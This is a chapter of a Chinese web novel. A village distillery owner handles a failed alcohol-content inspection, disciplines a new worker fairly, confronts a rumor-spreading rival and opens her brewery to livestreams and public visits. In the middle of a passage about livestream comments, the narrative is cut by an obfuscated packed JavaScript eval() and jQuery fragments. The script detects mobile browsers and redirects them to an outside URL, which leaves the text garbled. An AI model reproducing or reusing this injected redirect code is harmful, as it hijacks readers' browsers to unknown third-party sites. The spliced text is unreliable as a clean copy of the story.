63. 第 63 章

作品:《我把前夫酿成了酒

    第六十三章:超标、谣言与透明计划


    满月酒的热闹劲儿还没过,质检部门的通知就来了。陈远拿着检测报告冲进合作社办公室时,手都在抖:“慕青,出事了。省里抽检,咱们最新批次的青塘玉酿,酒精含量超标0.5%。”


    王慕青正在给两个孩子喂奶,闻言抬起头:“超标?咱们的酒一直控制在8%以下,怎么会超标?”


    “夜班工人操作失误。”梁海安从外面进来,脸色凝重,“我查了监控和记录。上周三夜班,新来的小王把发酵时间多调了两小时,温度也没控好。”


    林徽在一旁算账:“这批酒一共三千瓶,已经发出去了五百瓶。剩下的……全部召回?”


    “全部召回。”王慕青毫不犹豫,“发出去的五百瓶,联系买家,道歉,退款,再赔一瓶新酒。没发出的,全部销毁。”


    “销毁?”陈远心疼,“那可是好几万的成本……”


    “成本重要,还是信誉重要?”王慕青放下孩子,站起来,“梁海安,那个工人呢?”


    “在车间等着,说要辞职。”梁海安说,“他吓得够呛,说愿意赔钱,但家里困难……”


    王慕青往外走:“我去看看。”


    车间里,二十出头的小王低着头,眼睛通红。看见王慕青,他声音都带了哭腔:“王总,对不起……我那天太困了,看错了表……我赔,我分期赔……”


    “你一个月工资多少?”王慕青问。


    “三千五。”


    “那批酒成本四万八。”王慕青看着他,“你要赔到什么时候?”


    小王眼泪掉下来:“我……我不知道……”


    王慕青沉默了一会儿,对陈远说:“通知全厂,下午开会。”


    下午两点,酒厂全体员工都到了食堂。王慕青站在前面,抱着女儿酿酿——小家伙睡着了,小脸贴在她肩上。梁海安抱着儿子源源站在旁边。


    “今天开这个会,只说一件事。”王慕青声音不大,但很清晰,“咱们的酒,酒精超标了。”


    底下嗡的一声。老工人们脸色都变了。


    “原因查清楚了,是新员工操作失误。”王慕青继续说,“现在我问大家,这事,是谁的责任?”


    底下安静。小王缩在角落里,头埋得低低的。


    刘师傅开口:“操作是他操作的,当然是他的责任。”


    “不对。”王慕青摇头,“他是新员工,培训了三天就上岗。带他的老师傅那晚请假,车间只有他一个人。这是管理的问题,不是他一个人的错。”


    她看向小王:“小王,你不用辞职,也不用赔钱。但你要写一份检查,把错误原因、后果、改进方法写清楚,贴在车间墙上。让所有人都记住这个教训。”


    小王愣住了,眼泪又涌上来。


    “从今天起,”王慕青环视众人,“酒厂实行‘双人双岗’制。重要工序必须两人同时操作,互相监督。新员工必须培训满一周,由老师傅带班一个月才能独立上岗。这些制度,林徽你今天就做出来。”


    林徽点头:“明白。”


    “另外,”王慕青说,“这批超标的酒,全部召回销毁。损失厂里承担。但我希望所有人都记住——咱们做的是入口的东西,质量是命根子。这次是酒精超标,下次万一是别的问题呢?咱们要对得起买酒的人,对得起‘青塘’这两个字。”


    散会后,小王找到王慕青,深深鞠躬:“王总,谢谢您……我以后一定好好干。”


    “记住教训就行。”王慕青拍拍他的肩,“去工作吧。”


    处理完厂里的事,谣言已经传开了。不知道谁把质检报告拍了照发到网上,配文惊悚:“青塘甜酒酒精超标!喝多了伤身!”


    郑老板气冲冲打来电话:“王总,我看见那些帖子了!肯定是那个赵老板搞的鬼!我这就去找他算账!”


    “郑老板,别急。”王慕青很平静,“你先查清楚,帖子最早是从哪儿传出来的。如果是赵老板,我亲自去找他谈。如果不是,咱们别冤枉人。”


    调查结果出来了,发帖的不是赵老板,是个省城的自媒体号,专门爆各种“黑料”吸引眼球。但赵老板确实在推波助澜,在他的顾客群里转发了帖子。


    王慕青让梁海安开车,直接去了赵老板的店。店里冷冷清清,赵老板正对店员发火:“怎么又没生意!”


    看见王慕青和梁海安,他脸色一变:“王总,梁总,你们怎么来了……”


    “来看看赵老板的生意。”王慕青扫了眼空荡荡的店面,“听说你在转发我们酒精超标的帖子?”


    赵老板脸白了:“我……我就是转了一下……”


    “酒精超标是事实,我们认。”王慕青看着他,“但我们已经全部召回销毁,也改了管理制度。赵老板,你要是真想合作,就该帮我们澄清,而不是落井下石。”


    赵老板低下头:“王总,我错了……我就是嫉妒。你们生意那么好,我这边……”


    “生意不好,该想的是怎么改进,而不是搞垮别人。”梁海安开口,“赵老板,这是最后一次机会。如果你再有一次小动作,合作彻底终止。”


    “我保证!我保证!”赵老板连忙说,“我马上在群里澄清,说我亲眼看到你们销毁了所有问题酒!”


    从赵老板店里出来,王慕青对梁海安说:“光澄清不够。咱们得让消费者亲眼看到,咱们的酒是怎么酿出来的。”


    “你的意思是……”


    “透明酿造计划。”王慕青说,“在酒厂装摄像头,直播酿酒过程。每批酒的检测报告都公示在网店首页。每个月办一次‘开放日’,邀请消费者来参观。”


    梁海安眼睛亮了:“这个主意好!让谣言不攻自破。”


    说干就干。三天后,酒厂的直播摄像头装好了。画面清晰,能看到从选米、蒸饭、拌曲到发酵、过滤、灌装的全过程。网店首页挂上了新的检测报告——合格,酒精含量7.8%。


    王慕青还让苏晓拍了个短片,讲青塘甜酒的酿造工艺,重点讲了酒精含量的控制原理。“甜酒的酒精来自自然发酵,我们严格控制温度和时间,保证口感醇厚的同时,酒精含量在安全范围内。”


    短片发出去,配上直播链接。第一天就有几千人看直播,弹幕热闹:“原来甜酒是这么酿的!”“看起来好干净!”“那个老师傅手法好熟练


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17418891|196920||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    !”


    开放日的报名链接刚放出去,五十个名额十分钟就抢光了。来参观的有年轻人,有老人,还有带着孩子的夫妻。


    王慕青亲自当讲解员,抱着女儿酿酿——小家伙醒了,睁着大眼睛好奇地看。梁海安抱着儿子源源跟在旁边。


    “这是蒸饭区,用的是青塘本地糯米。”王慕青指着巨大的蒸桶,“蒸到八分熟,不能全熟,全熟了影响发酵。”


    一个大学生问:“王总,您怎么还抱着孩子来工作?”


    王慕青笑了:“孩子离不开妈妈,妈妈也离不开工作。你们看,她听得可认真了。”


    真的,酿酿盯着蒸桶冒出的热气,小手一晃一晃的。源源在梁海安怀里,打了个哈欠,又把头埋进爸爸肩膀。


    参观者都笑了。有人拍照发朋友圈:“见过最硬核的母婴陪伴——妈妈讲解酿酒,宝宝现场学习。”


    开放日结束后,网上的谣言渐渐少了。直播间的观看人数稳定在每天两三千,有人甚至成了“云监工”,天天来看:“今天老师傅穿的是蓝色工装!”“那批酒快发酵好了吧?”


    酒精超标的风波就这么过去了。但王慕青知道,这只是个开始。做食品行业,质量永远是悬在头上的剑。


    晚上,她坐在电脑前,重新制定酒厂的整套管理制度。梁海安哄睡了孩子,过来给她按摩肩膀:“别太累,慢慢来。”


    “得趁现在有精力,把基础打牢。”王慕青说,“梁海安,我在想,咱们是不是该建个实验室?”


    “实验室?”


    “对,自己的检测实验室。”王慕青转过身,“不能总依赖送检。每批原料、半成品、成品,咱们自己先检一遍,合格了再出厂。这样更保险。”


    梁海安想了想:“可以。我认识省质检院的人,可以请他们帮忙培训和指导。”


    “那这事交给你。”王慕青靠在他身上,“梁海安,有时候我觉得,咱们像是在走钢丝。一边要做大,一边要保质量。一边要创新,一边要守传统。”


    “但咱们走得稳。”梁海安搂住她,“慕青,你知道吗,我最佩服你的一点,就是出了问题从不推卸,而是想办法解决。这次要是换了别人,可能就开除工人了事,但你看到了管理漏洞。”


    王慕青闭上眼睛:“因为我知道,打工不容易。那个小王,家里父母都有病,他出来挣钱养家。要是开除了他,他家怎么办?咱们是做企业的,但也是做人。”


    梁海安没说话,只是把她搂得更紧些。


    窗外月色很好。两个孩子在小床上睡得香甜,偶尔哼唧一声。酒厂那边,夜班的工人在摄像头下认真工作——现在没人敢马虎了。


    合作社的作坊都熄了灯,但明天一早,又会有锯子声、编竹声、陶轮转动声。


    研究中心已经挂牌,吴教授带着学生开始做研究。手艺学校的第三批学生下周开学,报名人数比前两批加起来还多。


    一切都在向前,虽然偶有波折,但根基越来越稳。


    王慕青想,也许这就是她重生的意义——不是要做出多大的事业,而是把一件事做好,对得起良心,对得起这片土地,对得起跟着她干的人。